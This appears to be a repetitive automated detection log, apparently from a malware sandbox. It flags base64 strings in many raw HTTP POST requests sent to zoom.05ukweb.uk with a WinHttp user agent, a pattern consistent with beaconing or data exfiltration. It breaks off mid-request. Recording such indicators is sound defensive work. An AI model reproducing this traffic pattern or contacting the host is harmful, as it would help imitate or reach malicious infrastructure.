Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v255&session=798383871&isbn=4529049 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v255&session=798383871&isbn=4529049 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v255&session=798383871&isbn=4529049 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v255&session=798383871&isbn=4529049 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "5100Host" in header "POST /ft?topic=v255&session=798383871&isbn=4529049 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v255&session=798383871&isbn=4529049 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4535034 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4535034 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4535034 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4535034 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4535034 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4535034 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "5100Host" in header "POST /ft?topic=v258&session=742298662&isbn=4535034 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4535034 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v255&session=798383871&isbn=4541237 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "v255" in header "POST /ft?topic=v255&session=798383871&isbn=4541237 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v255&session=798383871&isbn=4541237 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v255&session=798383871&isbn=4541237 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v255&session=798383871&isbn=4541237 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v255&session=798383871&isbn=4541237 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "5100Host" in header "POST /ft?topic=v255&session=798383871&isbn=4541237 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v255&session=798383871&isbn=4541237 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4547230 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4547230 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4547230 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4547230 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4547230 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4547230 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "5100Host" in header "POST /ft?topic=v258&session=742298662&isbn=4547230 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4547230 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v255&session=798383871&isbn=4553365 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "v255" in header "POST /ft?topic=v255&session=798383871&isbn=4553365 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v255&session=798383871&isbn=4553365 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v255&session=798383871&isbn=4553365 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v255&session=798383871&isbn=4553365 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v255&session=798383871&isbn=4553365 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "5025Host" in header "POST /ft?topic=v255&session=798383871&isbn=4553365 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v255&session=798383871&isbn=4553365 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4559411 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4559411 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4559411 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4559411 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4559411 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4559411 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "5025Host" in header "POST /ft?topic=v258&session=742298662&isbn=4559411 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4559411 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v255&session=798383871&isbn=4565492 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "v255" in header "POST /ft?topic=v255&session=798383871&isbn=4565492 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v255&session=798383871&isbn=4565492 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v255&session=798383871&isbn=4565492 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v255&session=798383871&isbn=4565492 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v255&session=798383871&isbn=4565492 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "5025Host" in header "POST /ft?topic=v255&session=798383871&isbn=4565492 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v255&session=798383871&isbn=4565492 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4571526 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4571526 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4571526 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4571526 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4571526 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4571526 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "5025Host" in header "POST /ft?topic=v258&session=742298662&isbn=4571526 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4571526 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v255&session=798383871&isbn=4577593 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "v255" in header "POST /ft?topic=v255&session=798383871&isbn=4577593 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v255&session=798383871&isbn=4577593 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v255&session=798383871&isbn=4577593 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v255&session=798383871&isbn=4577593 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v255&session=798383871&isbn=4577593 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "5025Host" in header "POST /ft?topic=v255&session=798383871&isbn=4577593 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v255&session=798383871&isbn=4577593 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5025Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4583623 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4583623 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4583623 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4583623 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4583623 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4583623 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "4968Host" in header "POST /ft?topic=v258&session=742298662&isbn=4583623 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4583623 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v255&session=798383871&isbn=4589689 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "v255" in header "POST /ft?topic=v255&session=798383871&isbn=4589689 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v255&session=798383871&isbn=4589689 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v255&session=798383871&isbn=4589689 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v255&session=798383871&isbn=4589689 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v255&session=798383871&isbn=4589689 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "4968Host" in header "POST /ft?topic=v255&session=798383871&isbn=4589689 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v255&session=798383871&isbn=4589689 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4595719 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4595719 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4595719 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4595719 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4595719 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4595719 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "4968Host" in header "POST /ft?topic=v258&session=742298662&isbn=4595719 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4595719 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v255&session=798383871&isbn=4601787 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "v255" in header "POST /ft?topic=v255&session=798383871&isbn=4601787 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v255&session=798383871&isbn=4601787 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; 